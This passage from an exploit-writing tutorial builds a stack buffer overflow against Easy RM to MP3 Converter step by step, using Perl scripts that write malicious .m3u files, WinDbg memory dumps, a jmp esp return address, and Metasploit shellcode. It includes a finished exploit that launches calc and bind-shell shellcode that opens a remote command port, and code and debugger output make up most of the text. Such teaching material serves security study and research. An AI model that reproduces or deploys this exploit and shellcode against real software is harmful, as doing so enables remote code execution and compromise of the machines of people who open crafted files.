them \(d esp, d eax, d ebx, d ebp, …\). If you can see your buffer \(either
the A’s or the C’s\) in one of the registers, then you may be able to replace
those with shellcode and jump to that location. In our example, We can see
that ESP seems to point to our C’s \(remember the output of d esp above\), so
ideally we would put our shellcode instead of the C’s and we tell EIP to go to
the ESP address.

Despite the fact that we can see the C’s, we don’t know for sure that the
first C \(at address 000ff730, where ESP points at\), is in fact the first C
that we have put in our buffer.

We’ll change the perl script and feed a pattern of characters \(I’ve taken 144
characters, but you could have taken more or taken less\) instead of C’s :

[code]

    my $file= "test1.m3u";my $junk= "A" x 26094;my $eip = "BBBB";my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" ."5ABCDEFGHIJK6ABCDEFGHIJK" ."7ABCDEFGHIJK8ABCDEFGHIJK" ."9ABCDEFGHIJKAABCDEFGHIJK"."BABCDEFGHIJKCABCDEFGHIJK";open($FILE,">$file");print $FILE $junk.$eip.$shellcode;close($FILE);print "m3u File Created successfully\n";
[/code]

Create the file, open it, let the application die and dump memory at location
ESP :

[code]

    0:000> d esp000ff730  44 45 46 47 48 49 4a 4b-32 41 42 43 44 45 46 47  DEFGHIJK2ABCDEFG000ff740  48 49 4a 4b 33 41 42 43-44 45 46 47 48 49 4a 4b  HIJK3ABCDEFGHIJK000ff750  34 41 42 43 44 45 46 47-48 49 4a 4b 35 41 42 43  4ABCDEFGHIJK5ABC000ff760  44 45 46 47 48 49 4a 4b-36 41 42 43 44 45 46 47  DEFGHIJK6ABCDEFG000ff770  48 49 4a 4b 37 41 42 43-44 45 46 47 48 49 4a 4b  HIJK7ABCDEFGHIJK000ff780  38 41 42 43 44 45 46 47-48 49 4a 4b 39 41 42 43  8ABCDEFGHIJK9ABC000ff790  44 45 46 47 48 49 4a 4b-41 41 42 43 44 45 46 47  DEFGHIJKAABCDEFG000ff7a0  48 49 4a 4b 42 41 42 43-44 45 46 47 48 49 4a 4b  HIJKBABCDEFGHIJK0:000> d000ff7b0  43 41 42 43 44 45 46 47-48 49 4a 4b 00 41 41 41  CABCDEFGHIJK.AAA000ff7c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff7d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff7e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff7f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff800  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff810  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff820  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
[/code]

ok, we can see 2 interesting things here :

  * ESP starts at the 5th character of our pattern, and not the first character. You can find out why by looking at this forum post : http://www.corelan.be:8800/index.php/forum/writing-exploits/question-about-esp-in-tutorial-pt1
  * After the pattern string, we see “A’s”. These A’s most likely belong to the first part of the buffer \(26101 A’s\), so we may also be able to put our shellcode in the first part of the buffer \(before overwriting RET\)…

But let’s not go that way yet. We’ll first add 4 characters in front of the
pattern and do the test again. If all goes well, ESP should now point directly
at the beginning of our pattern :

[code]

    my $file= "test1.m3u";my $junk= "A" x 26094;my $eip = "BBBB";my $preshellcode = "XXXX";my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" ."5ABCDEFGHIJK6ABCDEFGHIJK" ."7ABCDEFGHIJK8ABCDEFGHIJK" ."9ABCDEFGHIJKAABCDEFGHIJK"."BABCDEFGHIJKCABCDEFGHIJK";open($FILE,">$file");print $FILE $junk.$eip.$preshellcode.$shellcode;close($FILE);print "m3u File Created successfully\n";
[/code]

Let the application crash and look at esp again

[code]

    0:000> d esp000ff730  31 41 42 43 44 45 46 47-48 49 4a 4b 32 41 42 43  1ABCDEFGHIJK2ABC000ff740  44 45 46 47 48 49 4a 4b-33 41 42 43 44 45 46 47  DEFGHIJK3ABCDEFG000ff750  48 49 4a 4b 34 41 42 43-44 45 46 47 48 49 4a 4b  HIJK4ABCDEFGHIJK000ff760  35 41 42 43 44 45 46 47-48 49 4a 4b 36 41 42 43  5ABCDEFGHIJK6ABC000ff770  44 45 46 47 48 49 4a 4b-37 41 42 43 44 45 46 47  DEFGHIJK7ABCDEFG000ff780  48 49 4a 4b 38 41 42 43-44 45 46 47 48 49 4a 4b  HIJK8ABCDEFGHIJK000ff790  39 41 42 43 44 45 46 47-48 49 4a 4b 41 41 42 43  9ABCDEFGHIJKAABC000ff7a0  44 45 46 47 48 49 4a 4b-42 41 42 43 44 45 46 47  DEFGHIJKBABCDEFG0:000> d000ff7b0  48 49 4a 4b 43 41 42 43-44 45 46 47 48 49 4a 4b  HIJKCABCDEFGHIJK000ff7c0  00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  .AAAAAAAAAAAAAAA000ff7d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff7e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff7f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff800  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff810  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff820  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
[/code]

Much better \!

We now have

  * control over EIP
  * an area where we can write our code \(at least 144 bytes large. If you do some more tests with longer patterns, you will see that you have even more space… plenty of space in fact\)
  * a register that directly points at our code, at address 0×000ff730

Now we need to

  * build real shellcode
  * tell EIP to jump to the address of the start of the shellcode. We can do this by overwriting EIP with 0×000ff730.

Let’s see

We’ll build a small test case : first 26094 A’s, then overwrite EIP with
000ff730, then put 25 NOP’s, then a break, and then more NOP’s.

If all goes well, EIP should jump 000ff730, which contains NOPs. The code
should slide until the break.

[code]

    my $file= "test1.m3u";my $junk= "A" x 26094;my $eip = pack('V',0x000ff730);  my $shellcode = "\x90" x 25; $shellcode = $shellcode."\xcc";$shellcode = $shellcode."\x90" x 25; open($FILE,">$file");print $FILE $junk.$eip.$shellcode;close($FILE);print "m3u File Created successfully\n";
[/code]

The application died, but we expected a break instead of an access violation.

When we look at EIP, it points to 000ff730, and so does ESP.

When we dump ESP, we don’t see what we had expected.

[code]

    eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662ceip=000ff730 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206Missing image name, possible paged-out or corrupt data.Missing image name, possible paged-out or corrupt data.Missing image name, possible paged-out or corrupt data.<Unloaded_P32.dll>+0xff71f:000ff730 0000            add     byte ptr [eax],al          ds:0023:00000001=??0:000> d esp000ff730  00 00 00 00 06 00 00 00-58 4a 10 00 01 00 00 00  ........XJ......000ff740  30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41  0.......AAAAAAAA000ff750  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff760  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff770  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff780  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff790  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff7a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
[/code]

So jumping directly to a memory address may not be a good solution after all.
\(000ff730 contains a null byte, which is a string terminator… so the A’s you
are seeing are coming from the first part of the buffer… We never reached the
point where we started writing our data after overwrite EIP…

Besides, using a memory address to jump to in an exploit would make the
exploit very unreliable. After all, this memory address could be different in
other OS versions, languages, etc…\)

Long story short : we cannot just overwrite EIP with a direct memory such as
000ff730. It’s not a good idea. We must use another technique to achieve the
same goal : make the application jump to our own provided code. Ideally, we
should be able to reference a register \(or an offset to a register\), ESP in
our case, and find a function that will jump to that register. Then we will
try to overwrite EIP with the address of that function and it should be time
for pancakes and icecream.

### Jump to the shellcode in a reliable way

We have managed to put our shellcode exactly where ESP points at \(or, if you
look at it from a different angle, ESP points directly at the beginning of our
shellcode\). If that would not have been the case, we would have looked to the
contents of other register addresses and hope to find our buffer back.
Anyways, in this particular example, we can use ESP.

The reasoning behind overwriting EIP with the address of ESP was that we want
the application to jump to ESP and run the shellcode.

Jumping to ESP is a very common thing in windows applications. In fact,
Windows applications use one or more dll’s, and these dll’s contains lots of
code instructions. Furthermore, the addresses used by these dll’s are pretty
static. So if we could find a dll that contains the instruction to jump to
esp, and if we could overwrite EIP with the address of that instruction in
that dll, then it should work, right ?

Let’s see. First of all, we need to figure out what the opcode for “jmp esp”
is.

We can do this by Launching Easy RM to MP3, then opening windbg and hook
windbg to the Easy RM to MP3 application. \(Just connect it to the process,
don’t do anything in Easy RM to MP3\). This gives us the advantage that windbg
will see all dll’s/modules that are loaded by the application. \(It will
become clear why I mentioned this\)

<img src='img/Temp2_2933.png' width='201' height='212' alt='image' />

Upon attaching the debugger to the process, the application will break.

In the windbg command line, at the bottom of the screen, enter a
_\(assemble\)_ and press return

Now enter jmp esp and press return

<img src='img/Temp2_2926.png' width='611' height='92' alt='image' />

Press return again.

Now enter u _\(unassemble\)_ followed by the address that was shown before
entering jmp esp

[code]

    0:014> u 7c90120entdll!DbgBreakPoint:**7c90120e ffe4            jmp     esp** 7c901210 8bff            mov     edi,edintdll!DbgUserBreakPoint:7c901212 cc              int     37c901213 c3              ret7c901214 8bff            mov     edi,edi7c901216 8b442404        mov     eax,dword ptr [esp+4]7c90121a cc              int     37c90121b c20400          ret     4
[/code]

Next to 7c90120e, you can see ffe4. This is the opcode for jmp esp

Now we need to find this opcode in one of the loaded dll’s.

Look at the top of the windbg window, and look for lines that indicate dll’s
that belong to the Easy RM to MP3 application :

[code]

    Microsoft (R) Windows Debugger Version 6.11.0001.404 X86Copyright (c) Microsoft Corporation. All rights reserved.*** wait with pending attachSymbol search path is: *** Invalid ******************************************************************************** Symbol loading may be unreliable without a symbol search path.           ** Use .symfix to have the debugger choose a symbol path.                   ** After setting your symbol path, use .reload to refresh symbol locations. *****************************************************************************Executable search path is:ModLoad: 00400000 004be000   C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exeModLoad: 7c900000 7c9b2000   C:\WINDOWS\system32\ntdll.dllModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dllModLoad: 78050000 78120000   C:\WINDOWS\system32\WININET.dllModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dllModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dllModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.dllModLoad: 77e70000 77f02000   C:\WINDOWS\system32\RPCRT4.dllModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dllModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dllModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dllModLoad: 00330000 00339000   C:\WINDOWS\system32\Normaliz.dllModLoad: 78000000 78045000   C:\WINDOWS\system32\iertutil.dllModLoad: 77c00000 77c08000   C:\WINDOWS\system32\VERSION.dllModLoad: 73dd0000 73ece000   C:\WINDOWS\system32\MFC42.DLLModLoad: 763b0000 763f9000   C:\WINDOWS\system32\comdlg32.dllModLoad: 5d090000 5d12a000   C:\WINDOWS\system32\COMCTL32.dllModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.dllModLoad: 76080000 760e5000   C:\WINDOWS\system32\MSVCP60.dllModLoad: 76b40000 76b6d000   C:\WINDOWS\system32\WINMM.dllModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.DLLModLoad: 773d0000 774d3000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dllModLoad: 74720000 7476c000   C:\WINDOWS\system32\MSCTF.dllModLoad: 755c0000 755ee000   C:\WINDOWS\system32\msctfime.imeModLoad: 774e0000 7761d000   C:\WINDOWS\system32\ole32.dll**ModLoad: 10000000 10071000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll** ModLoad: 71ab0000 71ac7000   C:\WINDOWS\system32\WS2_32.dllModLoad: 71aa0000 71aa8000   C:\WINDOWS\system32\WS2HELP.dll**ModLoad: 00ce0000 00d7f000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dllModLoad: 01a90000 01b01000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dllModLoad: 00c80000 00c87000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dllModLoad: 01b10000 01fdd000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll** ModLoad: 01fe0000 01ff1000   C:\WINDOWS\system32\MSVCIRT.dllModLoad: 77120000 771ab000   C:\WINDOWS\system32\OLEAUT32.dll
[/code]

If we can find the opcode in one of these dll’s, then we have a good chance of
making the exploit work reliably across windows platforms. If we need to use a
dll that belongs to the OS, then we might find that the exploit does not work
for other versions of the OS. So let’s search the area of one of the Easy RM
to MP3 dll’s first.

We’ll look in the area of C:\Program Files\Easy RM to MP3
Converter\MSRMCcodec02.dll. This dll is loaded between 01b10000 and 01fd000.
Search this area for ff e4 :

[code]

    0:014> s 01b10000 l 01fdd000 ff e401ccf23a  ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3  ....N..D$.......01d0023f  ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff  ...M.....T......01d1d3db  ff e4 ca ce 01 20 05 93-19 09 00 00 00 00 d4 d1  ..... ..........01d3b22a  ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0  ......W.]...."..01d3b72d  ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26  ...}..7...%#..J&01d3cd89  ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf  ...5..o..J..0...01d45c9e  ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb  ..\.....y.......01d503d9  ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d  .....w1...h...T.01d51400  ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50  ...8%.qD...u...P01d5736d  ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d  .....w1...h...T.01d5ce34  ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50  ...8%.qD...u...P01d60159  ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d  .....w1...h...T.01d62ec0  ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50  ...8%.qD...u...P0221135b  ff e4 49 20 02 e8 49 20-02 00 00 00 00 ff ff ff  ..I ..I ........0258ea53  ff e4 ec 58 02 00 00 00-00 00 00 00 00 08 02 a8  ...X............
[/code]

Excellent. \(I did not expect otherwise… jmp esp is a pretty common
instruction\). When selecting an address, it is important to look for null
bytes. You should try to avoid using addresses with null bytes \(especially if
you need to use the buffer data that comes after the EIP overwrite. The null
byte would become a string terminator and the rest of the buffer data will
become unusable\).

Another good area to search for opcodes is

“s 70000000 l fffffff ff e4” \(which would typically give results from windows
dll’s\)

Note : there are other ways to get opcode addresses :

  * findjmp \(from Ryan Permeh\) : compile findjmp.c and run with the following parameters :

> findjmp <DLLfile><register>. Suppose you want to look for jumps to esp in
> kernel32.dll, run “findjmp kernel32.dll esp”
> On Vista SP2, you should get something like this :
> _Findjmp, Eeye, I2S-LaB_
>  _Findjmp2, Hat-Squad_
> Scanning kernel32.dll for code useable with the esp register
> 0×773AF74B call esp
> Finished Scanning kernel32.dll for code useable with the esp register
> Found 1 usable addresses
  * the metasploit opcode database
  * memdump \(see one of the next tutorial posts
  * etc

Since we want to put our shellcode in ESP \(which is placed in our payload
string after overwriting EIP\), the jmp esp address from the list must not
have null bytes. If this address would have null bytes, we would overwrite EIP
with an address that contains null bytes. Null byte acts as a string
terminator, so everything that follows would be ignored. In some cases, it
would be ok to have an address that starts with a null byte. If the address
starts with a null byte, because of little endian, the null byte would be the
last byte in the EIP register. And if you are not sending any payload after
overwrite EIP \(so if the shellcode is fed before overwriting EIP, and it is
still reachable via a register\), then this will work.

Anyways, we will use the payload after overwriting EIP to host our shellcode,
so the address should not contain null bytes.

The first address will do : 0×01ccf23a

Verify that this address contains the jmp esp \(so unassemble the instruction
at 01ccf23a\):

[code]

    0:014> u 01ccf23aMSRMCcodec02!CAudioOutWindows::WaveOutWndProc+0x8bfea:**01ccf23a ffe4            jmp     esp** 01ccf23c ff8d4e10c744    dec     dword ptr <Unloaded_POOL.DRV>+0x44c7104d (44c7104e)[ebp]01ccf242 2410            and     al,10h01ccf244 ff              ???01ccf245 ff              ???01ccf246 ff              ???01ccf247 ff              ???01ccf248 e8f3fee4ff      call    MSRMCcodec02!CTN_WriteHead+0xd320 (01b1f140)
[/code]

If we now overwrite EIP with 0×01ccf23a, a jmp esp will be executed. Esp
contains our shellcode… so we should now have a working exploit. Let’s test
with our “NOP & break” shellcode :

[code]

    my $file= "test1.m3u";my $junk= "A" x 26094;my $eip = pack('V',0x01ccf23a);  my $shellcode = "\x90" x 25; $shellcode = $shellcode."\xcc";  #this will cause the application to break, simulating shellcode, but allowing you to further debug$shellcode = $shellcode."\x90" x 25; open($FILE,">$file");print $FILE $junk.$eip.$shellcode;close($FILE);print "m3u File Created successfully\n";
[/code]

[code]

    (21c.e54): Break instruction exception - code 80000003 (!!! second chance !!!)eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662ceip=000ff745 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206Missing image name, possible paged-out or corrupt data.Missing image name, possible paged-out or corrupt data.Missing image name, possible paged-out or corrupt data.<Unloaded_P32.dll>+0xff734:000ff745 cc              int     30:000> d esp000ff730  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................000ff740  90 90 90 90 90 cc 90 90-90 90 90 90 90 90 90 90  ................000ff750  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 00  ................000ff760  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff770  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff780  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff790  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA000ff7a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
[/code]

The application now breaks at address 000ff745, which is the location of our
first break. So the jmp esp worked fine \(esp started at 000ff730, but it
contains NOPs all the way up to 000ff744\).

All we need to do now is put in our real shellcode and finalize the exploit.

### Get shellcode and finalize the exploit

Metasploit has a nice payload generator that will help you building shellcode.
Payloads come with various options, and \(depending on what they need to do\),
can be small or very large. If you have a size limitation in terms of buffer
space, then you might even want to look at multi-staged shellcode, or using
specifically handcrafted shellcodes such as this one \(32byte cmd.exe
shellcode for xp sp2 en\). Alternatively, you can split up your shellcode in
smaller ‘eggs’ and use a technique called ‘egg-hunting’ to reassemble the
shellcode before executing it

Let’s say we want calc to be executed as our exploit payload, then the
shellcode could look like this :

[code]

    # windows/exec - 144 bytes# http://www.metasploit.com# Encoder: x86/shikata_ga_nai# EXITFUNC=seh, CMD=calcmy $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" ."\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" ."\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" ."\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" ."\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" ."\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" ."\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" ."\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" ."\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" ."\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" ."\x7f\xe8\x7b\xca";
[/code]

Finalize the perl script, and try it out :

[code]

    ## Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker# Written by Peter Van Eeckhoutte# http://www.corelan.be:8800# Greetings to Saumil and SK :-)## tested on Windows XP SP3 (En)###my $file= "exploitrmtomp3.m3u";my $junk= "A" x 26094;my $eip = pack('V',0x01ccf23a);  #jmp esp from MSRMCcodec02.dllmy $shellcode = "\x90" x 25;# windows/exec - 144 bytes# http://www.metasploit.com# Encoder: x86/shikata_ga_nai# EXITFUNC=seh, CMD=calc$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" ."\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" ."\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" ."\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" ."\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" ."\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" ."\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" ."\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" ."\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" ."\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" ."\x7f\xe8\x7b\xca";open($FILE,">$file");print $FILE $junk.$eip.$shellcode;close($FILE);print "m3u File Created successfully\n";
[/code]

First, turn off the autopopup registry setting to prevent the debugger from
taking over. Create the m3u file, open it and watch the application die \(and
calc should be opened as well\).

Boom \! We have our first working exploit \!

<img src='img/Temp2_2930.png' width='443' height='252' alt='image' />

### What if you want to do something else than launching calc ?

You could create other shellcode and replace the “launch calc” shellcode with
your new shellcode, but this code may not run well because the shellcode may
be bigger, memory locations may be different, and longer shellcode increases
the risk on invalid characters in the shellcode, which need to be filtered
out.

Let’s say we want the exploit bind to a port so a remote hacker could connect
and get a command line.

This shellcode may look like this :

[code]

    # windows/shell_bind_tcp - 344 bytes# http://www.metasploit.com# Encoder: x86/shikata_ga_nai# EXITFUNC=seh, LPORT=5555, RHOST="\x31\xc9\xbf\xd3\xc0\x5c\x46\xdb\xc0\xd9\x74\x24\xf4\x5d" ."\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba" ."\x8a\x49\x1f\xab\xb3\x71\x5f\xd4\x23\x05\xcc\x0f\x87\x92" ."\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73" ."\x6a\x70\x0a\xff\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11" ."\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5f\x99\x8c\x6c\x88\xab" ."\xc9\xe6\x97\x77\x10\x12\x41\xf3\x1e\xaf\x05\x5c\x02\x2e" ."\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d" ."\xf8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91" ."\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xf1\x53" ."\x16\x9b\xc7\xfc\x8c\xa4\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7" ."\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e" ."\x4f\xe0\x3c\x5a\x22\x45\xc0\x72\x6f\x39\x6d\x28\xdc\xfe" ."\xc2\x8d\xb1\xff\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a" ."\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b" ."\xdd\xb5\x25\x52\xf7\xe1\xca\x7d\x54\x5b\xcb\x52\x33\x86" ."\x7a\xd5\x8d\x1f\x83\x0f\x5d\xf4\x2f\xe5\xa1\x24\x5c\x6d" ."\xb9\xbc\xa4\x17\x12\xc0\xfe\xbd\x63\xee\x98\x57\xf8\x69" ."\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xb0\x06" ."\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46" ."\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91" ."\x74\x22\x86\x3f\x28\x84\x79\xaa\xcb\x77\x28\x7f\x9d\x88" ."\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xe1\xaf\x42\xde" ."\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03" ."\xec\xe9\xed\xb0\x0f\x27\xee\xe7";
[/code]

As you can see, this shellcode is 344 bytes long \(and launching calc only
took 144 bytes\).

If you just copy&paste this shellcode, you may see that the vulnerable
application does not even crash anymore.

<img src='img/Temp2_2927.png' width='439' height='82' alt='image' />

This – most likely – indicates either a problem with the shellcode buffer size
\(but you can test the buffer size, you’ll notice that this is not the
issue\), or we are faced with invalid characters in the shellcode. You can
exclude invalid characters when building the shellcode with metasploit, but
you’ll have to know which characters are allowed and which aren’t. By default,
null bytes are restricted \(because they will break the exploit for sure\),
but what are the other characters ?

The m3u file probably should contain filenames. So a good start would be to
filter out all characters that are not allowed in filenames and filepaths. You
could also restrict the character set altogether by using another decoder. We
have used shikata\_ga\_nai, but perhaps alpha\_upper will work better for
filenames. Using another encoded will most likely increase the shellcode
length, but we have already seen \(or we can simulate\) that size is not a big
issue.

Let’s try building a tcp shell bind, using the alpha\_upper encoder. We’ll
bind a shell to local port 4444. The new shellcode is 703 bytes.

[code]

    # windows/shell_bind_tcp - 703 bytes# http://www.metasploit.com# Encoder: x86/alpha_upper# EXITFUNC=seh, LPORT=4444, RHOST="\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" ."\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" ."\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" ."\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" ."\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" ."\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" ."\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" ."\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" ."\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" ."\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" ."\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" ."\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" ."\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" ."\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" ."\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" ."\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" ."\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" ."\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" ."\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" ."\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" ."\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" .<...>"\x50\x41\x41";
[/code]

Let’s use this shellcode. The new exploit looks like this : P.S. I have
manually broken the shellcode shown here. So if you copy & paste the exploit
it will not work. But you should know by now how to make a working exploit.

